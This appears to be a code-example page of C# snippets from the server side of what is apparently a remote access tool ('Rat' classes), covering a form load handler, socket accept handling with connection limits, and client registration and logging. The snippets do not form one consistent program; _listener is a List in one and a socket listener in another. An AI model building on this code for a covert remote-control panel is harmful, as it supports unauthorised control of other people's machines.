Exemple #1
0
        private void Form1_Load(object sender, EventArgs e)
        {
            //Events
            ClientDisconnectEvent.ClientDisconnect += new ClientDisconnectHandler(onClientDisconnect);

            CheckForIllegalCrossThreadCalls = false;

            settings.MainForm = this;
            _listener = new List<RatClientListener>();
            _FileListener = new List<FileClientListener>();
            maxConnections = new MaxConnections();
            File_maxConnections = new File_MaxConnections();
            ClientPacketProcessor.Initialize();
            FileClientPacketProcessor.Initialize();
        }
 private void OnClientAccept(IAsyncResult ar)
 {
     try
     {
         Socket acceptedSocket = _listener.EndAccept(ar);
         System.Threading.Thread.Sleep(50); //Small delay so the process will be using 0-1% cpu usage at flood attack
         if (MaxConnections.AcceptConnection(acceptedSocket.RemoteEndPoint))
         {
             RatClientProcessor.Instance.ProcessClient(acceptedSocket);
         }
         else
         {
             acceptedSocket.Disconnect(false);
             acceptedSocket = null;
         }
         _listener.BeginAccept(OnClientAccept, null);
     }
     catch { /*An existing connection was forcibly closed by the remote host*/ }
 }
        public void ProcessClient(Socket client)
        {
            //System.Threading.Thread.Sleep(50); //Small delay so the process will be using 0-1% cpu usage at flood attack
            if (MaxConnections.AcceptConnection(client.RemoteEndPoint))
            {
                int        ID = _clientList.Count;
                RatClients c  = new RatClients(client, NetworkKey);
                _clientList.Add(ID, c);
                c.DisconnectHandle = OnDisconnect;
                c.ClientID         = ID;

                settings.ClientsConnected++;
                Logger.AddLog(new LogInfo("Incoming client", "Accepted"));
            }
            else
            {
                client.Disconnect(false);
                client = null;
            }
        }